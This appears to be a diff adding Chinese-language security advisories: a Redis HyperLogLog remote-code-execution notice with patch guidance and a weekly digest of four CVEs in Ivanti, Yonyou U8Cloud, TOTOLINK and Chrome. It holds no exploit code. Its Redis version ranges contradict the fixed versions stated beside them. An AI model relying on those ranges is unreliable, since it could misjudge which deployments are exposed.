line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">发现时间<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 2.25pt solid windowtext;background: rgb(222, 234, 246); paddinLine truncated
|
||||
Redis是一个开源的内存数据结构存储系统，广泛应用于缓存、消息队列、实时分析等场景。它支持多种数据结构，如字符串、哈希、列表、集合、有序集合等，并提供丰富的操作命令。Redis具有高性能、灵活性和持久化能力，数据可以保存在内存中，定期或根据需求同步到磁盘。它支持主从复制、分区和高可用性配置，常用于提高系统响应速度和可扩展性。由于其高效的读取和写入性能，Redis成为现代分布式系统中不可或缺的组件之一。
|
||||
|
||||
2025年7月8日，启明星辰集团VSRC监测到Redis中的hyperloglog命令越界写入导致的RCE漏洞，影响Redis版本2.8到8.0.3之前的所有版本，包括7.4.5、7.2.10和6.2.19。攻击者可以利用认证用户身份，通过特殊构造的字符串触发hyperloglog操作中的堆栈/堆越界写入漏洞，可能导致远程代码执行（RCE），漏洞评分7.0分，漏洞等级高危。
|
||||
### 二、影响范围
|
||||
|
||||
2.8.x ≤ Redis < 6.2.18
|
||||
|
||||
7.0.x ≤ Redis < 7.2.9
|
||||
|
||||
7.4.0 ≤ Redis < 7.4.4
|
||||
|
||||
8.0.0 ≤ Redis < 8.0.2
|
||||
### 三、安全措施
|
||||
|
||||
3.1 升级版本
|
||||
|
||||
官方已发布修复版本，建议用户升级至Redis 6.2.19、Redis 7.2.10、Redis 7.4.5和Redis 8.0.3。
|
||||
|
||||
下载链接：
|
||||
|
||||
https://github.com/redis/redis/releases
|
||||
|
||||
3.2 临时措施
|
||||
|
||||
采取访问控制列表（ACL）限制HyperLogLog命令的执行。
|
||||
|
||||
3.3 通用建议
|
||||
|
||||
定期更新系统补丁，减少系统漏洞，提升服务器的安全性。
|
||||
|
||||
加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。
|
||||
|
||||
使用企业级安全产品，提升企业的网络安全性能。
|
||||
|
||||
加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。
|
||||
|
||||
启用强密码策略并设置为定期修改。
|
||||
|
||||
3.4 参考链接
|
||||
|
||||
https://github.com/redis/redis/security/advisories/GHSA-rp2m-q4j6-gr43
|
||||
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2025-32023
|
||||
@@ -0,0 +1,170 @@
|
||||
# 雷神众测漏洞周报2025.6.30-2025.7.6
|
||||
原创 雷神众测 雷神众测 2025-07-07 08:57
|
||||
|
||||
摘要
|
||||
|
||||
|
||||
以下内容，均摘自于互联网，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，雷神众测以及文章作者不承担任何责任。
|
||||
|
||||
|
||||
雷神众测拥有该文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的副本，包括版权声明等全部内容。声明雷神众测允许，不得任意修改或增减此文章内容，不得以任何方式将其用于商业目的。
|
||||
|
||||
|
||||
目录
|
||||
|
||||
|
||||
**1.Ivanti Neurons for ITSM身份验证绕过漏洞**
|
||||
|
||||
**2.用友网络科技股份有限公司用友U8Cloud存在SQL注入漏洞**
|
||||
|
||||
**3.TOTOLINK LR350命令注入漏洞**
|
||||
|
||||
**4.Google Chrome V8类型混淆漏洞**
|
||||
|
||||
|
||||
漏洞详情
|
||||
|
||||
**1.Ivanti Neurons for ITSM身份验证绕过漏洞**
|
||||
|
||||
|
||||
漏洞介绍：
|
||||
|
||||
Ivanti Neurons for ITSM是一款面向 IT服务管理的自动化平台，基于人工智能和机器学习技术，旨在优化IT服务交付流程并提升用户体验。
|
||||
|
||||
|
||||
漏洞危害：
|
||||
|
||||
Ivanti Neurons for ITSM存在身份验证绕过漏洞，攻击者可利用该漏洞获取管理员权限。
|
||||
|
||||
|
||||
漏洞编号：
|
||||
|
||||
CVE-2025-22462
|
||||
|
||||
|
||||
影响范围：
|
||||
|
||||
Ivanti Neurons for ITSM <2023.4
|
||||
|
||||
Ivanti Neurons for ITSM <2024.2
|
||||
|
||||
Ivanti Neurons for ITSM <2024.3
|
||||
|
||||
|
||||
修复方案：
|
||||
|
||||
及时测试并升级到最新版本或升级版本
|
||||
|
||||
|
||||
来源:
|
||||
CNVD
|
||||
|
||||
**2.用友网络科技股份有限公司用友U8Cloud存在SQL注入漏洞**
|
||||
|
||||
|
||||
漏洞介绍：
|
||||
|
||||
用友U8Cloud是一款企业级ERP，用于协助企业实现业务协同和流程管理的高效化和数字化。
|
||||
|
||||
|
||||
漏洞危害：
|
||||
|
||||
用友网络科技股份有限公司用友U8Cloud存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。
|
||||
|
||||
|
||||
影响范围：
|
||||
|
||||
用友网络科技股份有限公司 用友U8Cloud
|
||||
|
||||
|
||||
修复方案：
|
||||
|
||||
及时测试并升级到最新版本或升级版本
|
||||
|
||||
|
||||
来源：
|
||||
CNVD
|
||||
|
||||
|
||||
**3.TOTOLINK LR350命令注入漏洞**
|
||||
|
||||
|
||||
漏洞介绍：
|
||||
|
||||
TOTOLINK LR350是中国吉翁电子（TOTOLINK）公司的一款无线路由器。
|
||||
|
||||
|
||||
漏洞危害：
|
||||
|
||||
TOTOLINK LR350存在命令注入漏洞，该漏洞源于可以通过NTPSyncWithHost函数中的host_time参数进行命令注入。目前没有详细的漏洞细节提供。
|
||||
|
||||
|
||||
漏洞编号：
|
||||
|
||||
CVE-2024-36783
|
||||
|
||||
|
||||
影响范围：
|
||||
|
||||
TOTOLINK LR350 9.3.5u.6369_B20220309
|
||||
|
||||
|
||||
修复方案：
|
||||
|
||||
及时测试并升级到最新版本或升级版本
|
||||
|
||||
|
||||
来源：
|
||||
CNVD
|
||||
|
||||
**4.Google Chrome V8类型混淆漏洞**
|
||||
|
||||
|
||||
漏洞介绍：
|
||||
|
||||
Google Chrome是美国谷歌（Google）公司的一款Web浏览器。
|
||||
|
||||
|
||||
漏洞危害：
|
||||
|
||||
Google Chrome V8存在类型混淆漏洞，该漏洞是由于V8引擎在执行JavaScript代码时，对某些数据
|
||||
|
||||
类型的边界检查和类型转换处理不当，导致浏览器无法正确区分不同类型的内存数据。攻击者可利用该漏洞在系统上执行任意代码。
|
||||
|
||||
|
||||
漏洞编号：
|
||||
|
||||
CVE-2025-6554
|
||||
|
||||
|
||||
影响范围：
|
||||
|
||||
Google Chrome <138.0.7204.96
|
||||
|
||||
|
||||
修复方案：
|
||||
|
||||
及时测试并升级到最新版本或升级版本
|
||||
|
||||
|
||||
来源：
|
||||
CNVD
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
专注渗透测试技术
|
||||
|
||||
全球最新网络攻击技术
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user